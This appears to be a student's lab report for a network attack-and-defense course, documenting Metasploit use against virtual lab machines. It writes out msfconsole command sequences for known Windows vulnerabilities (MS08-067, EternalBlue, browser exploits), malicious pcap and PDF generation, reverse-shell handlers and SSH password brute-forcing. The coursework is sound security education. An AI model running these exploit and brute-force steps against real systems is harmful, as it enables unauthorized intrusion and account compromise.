20192424 王昭云 2021-2022-2 《网络与系统攻防技术》实验六实验报告

《网络对抗技术》——Exp6 MSF应用基础

一、实践内容

本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。具体需要完成:

  • 一个主动攻击实践,尽量使用最新的类似漏洞;
  • 一个针对浏览器的攻击,尽量使用最新的类似漏洞;
  • 一个针对客户端的攻击,如Adobe或office,尽量使用最新的类似漏洞;
  • 成功应用任何一个辅助模块。

二、实践原理

MSF攻击方法

  • 主动攻击:扫描主机漏洞
  • 攻击浏览器
  • 供给客户端

六个模块

  • 渗透攻击模块exploit

    • 利用发现的安全漏洞或配置弱点对远程目标系统进行攻击,以植入和运行攻击载荷,从而获得对远程目标系统访问权的代码组件。
  • 辅助模块Auxiliary

    • 能够帮助渗透测试中在进行渗透攻击之前得到的目标系统丰富的情报信息,从而发起更具目标性的精准攻击。
    • 主要包括针对各种网络服务的扫描和查点、构建虚假服务收集登录密码、口令猜测破解、敏感信息嗅探、探查敏感信息泄露、Fuzz测试发掘漏洞、实施网络协议欺骗等模块。
  • 攻击载荷Payload

    • 在渗透成功后促使目标系统运行的一端植入代码,通常作用是为渗透攻击者打开在目标系统上的控制会话连接。实际上,该模块就是计算机集成的针对不同操作系统实现shellcode攻击的ruby代码。
    • 三种payload :Single,Stager,Stages。
  • 空字段模块Nop :

    • 一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令,最典型的空指令就是空操作,在X86 CPU体系架构平台上的操作码是0x90,便于快速确定返回地址的位置
  • 编码模块Encoders:

    • 针对payload进行编码,可以通过多种编码手段、多次编码方式有效的改变payload代码特征
  • 后渗透攻击模块Post :

    • 支持在渗透攻击取得目标系统远程控制权之后,在受控系统中进行给各样的后渗透攻击动作。
  • MSF的三种用户操作界面

  • msfconsole

    • 查看模块的具体信息info [exploits|auxiliary|post|payloads|encoders|nops]
    • 查看设置信息show [options]
    • 查看攻击目标类型show [target]
    • 查找命令search
    • 查找2018年产生的在windows平台下的漏洞search ms18(或CNE:2018) type:exploit platform:windows
  • armitage

    • 启动服务器service postgresql start
    • 启动armitage
  • webgui

三、实践过程

1、一个主动攻击实践

  • ms08_067_netapi

    • ms08_067漏洞是著名的远程溢出漏洞。攻击者发送恶意资料到受害机默认开放的SMB服务端口445,通过MSRPC接口调用server服务的一个函数,并破坏程序的栈缓存区,获得远程代码执行权限,从而完全控制主机。

    • 靶机:Windows 2000

    • 攻击机:Kali

    • 获取靶机IP地址 192.168.189.141

      • OY4HS0.png
    • 攻击机试探靶机是否存在此漏洞 sudo nmap -sS -A --script=smb-vuln-ms08-067 -PO 192.168.232.132

      • OY2w6g.png
    • 攻击截图如下,最下方可以发现攻击成功

      • OYRDgO.png
  • ms17_010

    • ms07_010 永恒之蓝漏洞是方程式组织在其漏洞利用框架中一个针对SMB服务进行攻击的漏洞,该漏洞导致攻击者在目标系统上可以执行任意代码。

    • 靶机:Microsoft Windows XP pro

    • 攻击机:Kali

    • 查看WinXP虚拟机IP地址

      • OY4HS0.png
    • 攻击显示exploit成功,但是没有建立会话,猜测是对方开启了防火墙。

      • OYo4Te.png

2、一个针对浏览器的攻击

  • ms14_064

    • Microsoft Windows OLE远程代码执行漏洞,OLE(对象链接与嵌入)是一种允许应用程序共享数据和功能的技术,远程攻击者利用此漏洞通过构造的网站执行任意代码。

    • 靶机:Windows XP IE浏览器

    • 攻击机:Kali

    • 获取XP虚拟机的IP地址

      • OY4HS0.png
    • 开始攻击

      • sudo msfconsole
      • search ms14_064 //查看与此漏洞相关的攻击模块
      • use exploit/windows/browser/ms14_064_ole_code_execution //选择攻击模块
      • set payload windows/meterpreter/reverse_tcp //设置攻击载荷
      • set SRVHOST 192.168.189.125 //设置攻击机IP(kali)
      • set AllowPowerShellPrompt true //设置powershell
      • set LHOST 192.168.189.152 //设置监听地址(KaliIP)
      • set LPORT 135 //设置监听端口
      • show targets //查看此漏洞适用的系统版本
      • set target 0 //设置winXP靶机
      • show options //查看设置的参数信息
      • exploit
    • 出现报错:Exploit failed [bad-config]: Rex::BindFailed The address is already in use or unavailable: (192.168.189.152:8080)

    • 然后发现8080端口是关闭的,听说IIS服务开启后悔自动打开8080端口,然后我去安装了

    • 安装时一开始由于我用的是别人的vmx虚拟机,所以找不到CD-ROM,后来使用自己的XP就安装成功了

    • 安装成功后我重新扫描发现了这个漏洞

    • 感觉这个ms10-024漏洞可以成功,我们来试试吧

    • 搜索msf发现没有01-024,但是我发现01开头的都是攻击浏览器的我们换一个exploit试试。

    • 使用ms10-002发现可以成功运行

      • 其中多了一条配置命令set uripath \admin
    • 在靶机上打开网页:http://192.168.189.135:8080/admin,出现提示报告

    • 可能是因为我用的中文版XP,所以会自动识别被渗透了,断开会话

  • MS10_061

    • 先在靶机上装打印服务

      • 查看靶机ip

        • OY4HS0.png
      • 创建打印共享(默认是没有打印共享)

      • 打开控制面板,选择打印机和其他硬件

      • 添加打印机

      • 检测并安装即插即用打印机

        • ONSiQS.png
      • 选择使用LPT1端口

        • ONSreH.png
      • 随便选一个打印机厂商和型号

      • 取名

      • 选择共享打印机

        • ONp6uF.png
    • 在kali上扫描打印机

      • 使用nmap -sS -sU -O -p127-139,445 192.168.189.140

        • ON9txK.png
      • 发现139,445端口开启了对应的服务

    • 查找NetBIOS

      NetBIOS协议是由IBM公司开发,主要用于数十台计算机的小型局域网。NetBIOS协议是一种在局域网上的程序可以使用的应用程序编程接口(API),为程序提供了请求低级服务的统一的命令集,作用是为了给局域网提供网络以及其他特殊功能

      • ONCkLD.png
    • 访问SMB,发现了我可爱的打印机

      • ONC4OO.png
    • 使用MSF模块攻击

      • 载入模块,搜索一下ms10_061

      • 利用漏洞,并查看需要配置的参数

        • ONiLsf.png
      • 配置参数

        • 设置Payload

          • set payload windows/meterpreter/reverse_tcp
        • 设置Payload参数

          • set LPORT
          • set LHOST
          • set RHOST
          • set PNAME
          • ONk58A.png
          • 由上图可见参数
        • exploit,攻击失败

          • ONAmx1.png
  • MS10-046

    • 找到该exploit

      • ONKsv4.png
    • 配置参数

      • 设置靶机(win xp)IP地址 set srvhosts 192.168.xxx.xxx
      • 设置本机(kali)  IP地址 set lhost  192.168.xxx.xxx
      • 运行payload键入命令:exploit
    • exploit后报错如下

      • ONMYRO.png
  • search ms11_003

    • 查找靶机ip

      • OalsKO.png
    • 设置参数

      • search ms11_003
      • use 0
    • 攻击失败,截图如下

      • OaGidg.png
  • ms17_010

    • 攻击靶机win7,ip为192.168.189.155

    • 配置参数

      • sudo msfconsole
      • search ms17-010 //查看与此漏洞相关的攻击模块
      • use exploit/windows/smb/ms17_010_eternalblue //选择攻击模块
      • set payload generic/shell_reverse_tcp //设置攻击载荷
      • set RHOST 192.168.189.155 //设置靶机IP,端口默认为445
      • set LPORT 4444 //回连的kali虚拟机端口
      • set LHOST 192.168.189.135 //设置攻击机IP
      • exploit //发起渗透攻击
      • OaY7LV.png
    • 攻击成功

      • OaY2dS.png

3、针对客户端的攻击

  • wireshark

    • 选择ip为192.168.189.140的靶机winXP

    • 下载wireshark

      • Oa0rtK.png
    • 开始抓包

      • OaBa8S.png
    • 配置攻击参数

      • sudo msfconsole //进入控制台

      • search wireshark //搜索与wireshark有关的漏洞

      • use exploit/windows/fileformat/wireshark_packet_dect //选择使用此漏洞

      • set payload windows/meterpreter/reverse_tcp //设置tcp反向连接

      • show options //查看需要配置的参数选项

      • set LHOST 192.168.189.135 //kali的IP

      • set LPORT 4444 //设置端口号

      • set FILENAME 20192424wzy.pcap //设置生成的pcap文件名

        • OaygeJ.png
      • exploit //生成.pcap文件

        • OaDsQe.png
        • OwWYef.png
    • 将生成的pcap文件复制到XP虚拟机中

    • 在靶机双击查看pcap文件前先设置如下命令

      • use exploit/multi/handler //进入监听模块
      • set payload windows/meterpreter/reverse_tcp //设置tcp反向连接
      • show options //查看需要配置的参数选项
      • set LHOST 192.168.189.135 //kali的IP
      • set LPORT 4444 //设置监听的端口号
      • exploit //开启监听
    • wireshark打开后闪退,链接成功,但是由于系统补丁链接迅速被断开了

      • OwRZ5Q.png
  • ADOBE READER

    • 在客户机上下载了7.0.08版本的Adobe reader

      • OdSza4.png
    • 配置参数

      • use windows/fileformat/adobe_cooltype_sing //选择攻击模块
      • set payload windows/meterpreter/bind_tcp //选择攻击载荷
      • set LHOST 192.168.189.135 //设置监听IP
      • set LPORT 4444 //设置监听端口
      • set FILENAME 20192424wzy.pdf //设置文件名
    • 生成带有shellcode的pdf

    • 通过虚拟机VMtools增强功能将文件放入靶机

    • 开始监听

      • use exploit/multi/handler //进入监听模块
      • set payload windows/meterpreter/bind_tcp //选择攻击载荷
      • show options //查看详细信息
      • set RHOST 192.168.189.140 //设置靶机IP地址
      • set LPORT 4444 //设置端口号
    • exploit //开始攻击

      • 靶机出现如下弹窗,监听没有开启会话

        • Od97j0.png
    • 攻击失败,换9.0版本的再试试

    • 安装9.0版本

    • 继续监听,参数不需要改变

    • 9.0发现了文件的问题出现如下弹窗

      • OdEYPU.png
    • 不服就干,切换靶机

4、使用一个辅助模块

  • 使用auxiliary/scanner/ssh/ssh_login对Adminstraster用户进行密码爆破

    • 提前准备口令字典

      • OdDxgO.png
    • 启动armitage的数据库服务

    • 在root状态下启动armitage

    • 找到auxiliary/scanner/ssh/ssh_login

    • 设置参数

      • 设置用户名set USERNAME root
      • 设置靶机IP set RHOSTs 192.168.189.141
      • 设置字典路径
      • OdryRK.png
  • 使用辅助模块use auxiliary/scanner/portscan/syn进行port扫描,扫描成功

    • OdXhjO.png

四、实践心得体会

本次实验虽然难度不大,但是非常麻烦。感觉学习到的知识不是很多。本次实验中大量时间浪费在了不断的安装不同版本的虚拟机,客户端,不断的尝试不同的漏洞中。这也让我感受到补丁的重要性。

在渗透中,0day漏洞的危害是不言而喻的,这也说明了PWN再渗透中的重要性。读懂操作系统,程序的底层代码,才能让我们更好的找到漏洞。
最后,对于客户端渗透,我建议让下一届的学弟学妹们自己写一个客户端然后自己渗透自己的程序吧,这个可以帮助他们从原理上理解通过漏洞渗透的原理。

posted @ 2022-05-13 11:09  20192424WZY  阅读(215)  评论(0编辑  收藏  举报